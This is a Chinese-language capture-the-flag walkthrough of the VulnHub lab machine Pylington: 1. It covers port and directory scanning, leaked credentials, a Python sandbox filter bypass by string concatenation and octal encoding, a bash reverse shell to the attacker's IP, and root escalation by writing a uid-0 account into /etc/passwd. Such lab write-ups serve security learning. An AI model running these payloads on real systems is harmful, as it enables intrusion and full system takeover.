準備:
攻擊機:虛擬機器kali、本機win10。
靶機:Pylington: 1,下載地址:https://download.vulnhub.com/pylington/pylington.ova,下載後直接vbox開啟即可。
知識點:敏感檔案發現和利用、python程式碼執行、shell反彈、python程式碼過濾繞過。
一:資訊收集
1.nmap掃描
使用nmap掃描下靶機地址,命令:nmap -sn 192.168.5.0/24,發現靶機地址:192.168.5.76。
使用nmap掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.5.76,顯示開放了22埠、80埠,開啟了ssh服務、http服務。
2.目錄掃描
使用gobuster進行目錄掃描,命令:gobuster dir -u http://192.168.5.73 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,發現robots.txt檔案。
3.web資訊
訪問web服務時檢視了下原始碼資訊,但是未發現有用資訊,然後想著註冊賬戶登入,但是告訴我們無法註冊新使用者,只能已經存在得賬戶才可以登入。
訪問下目錄掃描時發現的robots.txt檔案,發現新的目錄資訊:/zbir7mn240soxhicso2z。
訪問新發現的目錄,返回頁面資訊中存在賬戶和密碼資訊:steve/bvbkukHAeVxtjjVH。
二:獲取shell
利用獲得賬戶和密碼資訊:steve/bvbkukHAeVxtjjVH登入系統,發現可以執行python程式碼和一個指向連結,訪問該連結跳轉到了:http://192.168.5.76/noimportos_sandbox.py,並給我們提示,告訴我們不要輸入:import、os、open命令。
測試了以下import命令,發現會被檢測並返回:H4CK3R AL3R7!!! Malicious program detected by the sandbox。嘗試繞過對關鍵字串的限制,使用拼接法進行測試,payload:exec('print("imp"+"ort")'),成功繞過限制輸出import。
開始構造shell反彈語句,使用exec執行我們構造得shell反彈語句成功獲得shell許可權。
#原來語句
import os
os.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')
#繞過限制後得語句,注意有個雙引號,不然會引起歧義無法執行
'imp'+'ort o'+'s'
'o'+"s.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')"
#執行語句
exec('imp'+'ort o'+'s')
exec('o'+"s.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')")
或者透過指令碼進行進位制轉生成可執行的字串也行,如下可以獲得返回的id資訊,兩種繞過方式均可以。
oct_result= ''
strings = 'import os'
for string in strings:
one_char = ord(string)
oct_result = oct_result + str(oct(one_char).replace('0o','\\'))
print(oct_result)
#import os結果
\151\155\160\157\162\164\40\157\163
#os.system('id')結果
\157\163\56\163\171\163\164\145\155\50\47\151\144\47\51
三:提權
1.提權至py
嘗試使用sudo -l來查詢下特殊命令,但是告訴我們sudo需要密碼。
使用命令:find / -perm -4000 -type f 2>/dev/null來查詢下具有特殊許可權的檔案,發現/home/py/typing檔案。
進入/home/py目錄下發現user.txt、typing.cc、typing檔案,並對對typing.c檔案具有讀取許可權,對typing檔案具有執行許可權。
檢視typing.cc檔案得原始碼資訊,發現該程式可以告訴我們密碼資訊。
執行typing檔案,並按要求輸入line得值,成功獲得密碼資訊:54ezhCGaJV。
利用獲得密碼資訊:54ezhCGaJV嘗試切換到py賬戶,su py。成功切換到py賬戶並讀取/home/py目錄下的user.txt檔案,成功獲得flag值。
2.提權至root
嘗試使用sudo命令,但是被限制了。想想也是密碼都給你了咋會讓你使用sudo。
那就繼續使用命令:find / -perm -4000 -type f 2>/dev/null來查詢下具有特殊許可權的檔案,發現:/home/py/secret_stuff/backup檔案。
進入/home/py/secret_stuff目錄發現了backup得原始碼檔案:backup.cc,訪問backup.cc檔案發現我們可以隨意將一些資訊備份到以/srv/backups/目錄開頭得檔案中,因此想到直接向/etc/passwd檔案中寫入具有root許可權的賬戶。
我們可以直接檢視下kali中的密碼資訊然後寫入到靶機中或者使用openssl建立密碼:openssl passwd -1 -salt upfine upfine,我這裡直接使用本機kali的密碼:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM0neRj4MN3HCqQ.,可以在/etc/shadow檔案檢視,然後檢視靶機中的root許可權資訊,命令cat /etc/passwd,發現其許可權資訊為:root:x:0:0::/root:/bin/bash,因此我們構造payload:upfine:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM0neRj4MN3HCqQ.:0:0::/root:/bin/bash,將payload寫入到/etc/passwd問價即可。
嘗試切換到我們新增的upfine賬戶,su upfine,成功切換到upfine賬戶並且該賬戶具有root許可權。
獲得root許可權後在/root目錄發現root.txt檔案,讀取該檔案成功獲得flag值。